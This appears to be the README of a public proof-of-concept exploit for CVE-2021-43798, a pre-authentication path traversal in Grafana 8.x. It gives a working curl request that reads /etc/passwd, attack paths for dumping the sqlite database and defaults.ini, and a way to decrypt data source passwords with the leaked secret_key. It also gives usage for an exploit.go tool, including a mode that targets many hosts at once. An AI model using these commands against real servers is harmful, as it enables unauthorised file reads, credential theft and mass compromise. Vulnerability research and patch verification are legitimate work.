CVE-2021-43798

Grafana 8.x Path Traversal (Pre-Auth)

All credits go to j0v and his tweet https://twitter.com/j0v0x0/status/1466845212626542607

Disclaimer

This is for educational purposes only. I am not responsible for your actions. Use at your own discretion.

In good faith, I've held back releasing this PoC until either this vulnerability is public or a patch is available.

Table of Content

• Explanation - Explaining the vulnerability
• Attack Vectors - List of attacks you can carry out
• Exploit Script - Exploit script usage

Explanation

I noticed a tweet by j0v claiming to have found a Grafana path traversal bug. Out of curiosity, I started looking at the Grafana source code. In the tweet, it was mentioned it was a pre-auth bug. There are only a couple of public API endpoints in Grafana, and only one of those took a file path from the user.

Grafana has a public API endpoint, /public/plugins/:pluginId, which allows you to view a plugin's assets. This works by providing a valid :pluginId and then specifying the file path, such as img/logo.png. However, Grafana fails to sanitize the user provided file path, leading to path traversal.

The directory being accessed is at <grafana>/public/app/plugins/panel/<pluginId>. On a standard Grafana installation, the Grafana data directory is /usr/share/grafana. So by going back 8 directories, you can reach the filesystem root directory.

HTTP Request:

GET -  http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Offending Code: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284

Note: This does not work in the browser (which automatically collapse the ../ in the path)

It can be tested with curl by using the --path-as-is argument:

curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Attack Vectors

These are some attacks that can be carried out using this vulnerability

Dumping Sqlite Database

Grafana, by default, uses a sqlite3 database. This is stored in /var/lib/grafana/grafana.db. You can use the exploit.go script to dump this database

Example:

go run exploit.go -target http://localhost:3000 -dump-database -output grafana.db

You can then read this database to obtain users, auth tokens, and data sources.

Dumping defaults.ini Config File

Grafana stores its configuration in a <grafana>/conf/defaults.ini file. There are a couple of interesting values here such as secret_key, host user password if using mysql isntead of sqlite3.

Example:

go run exploit.go -target http://localhost:3000 -dump-config -output defaults.ini

Reference: https://grafana.com/docs/grafana/latest/administration/configuration/

Decrypting Datasource Passwords

Grafana encrypts all data source passwords using AES-256-CBC using the secret_key in the defaults.ini config file. We can dump this config file, as shown above, and then decrypt the values from the database.

Reference: https://grafana.com/docs/grafana/latest/administration/configuration/#secret_key

Session Takeover

Grafana stores session tokens in the table auth_tokens. I haven't been able to take over a session, but if you read the source code, you could figure it out.

Exploit Script

Example

root@localhost:/# go run exploit.go -target http://localhost:3000 -file /etc/passwd
CVE-2021-43798  - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)

[INFO] Exploiting target http://localhost:3000
[INFO] Successfully exploited target http://localhost:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

Single Target

go run exploit.go -target <target> -file <path>

Output to file

go run exploit.go -target <target> -file <path> -output <file>

Note: Does not work with multiple targets

Multiple Targets

go run exploit.go -list <list> -file <path>

Dump defaults.ini

go run exploit.go -target <target> -dump-config

Dump sqlite3 database

go run exploit.go -target <target> -dump-database

Build

make build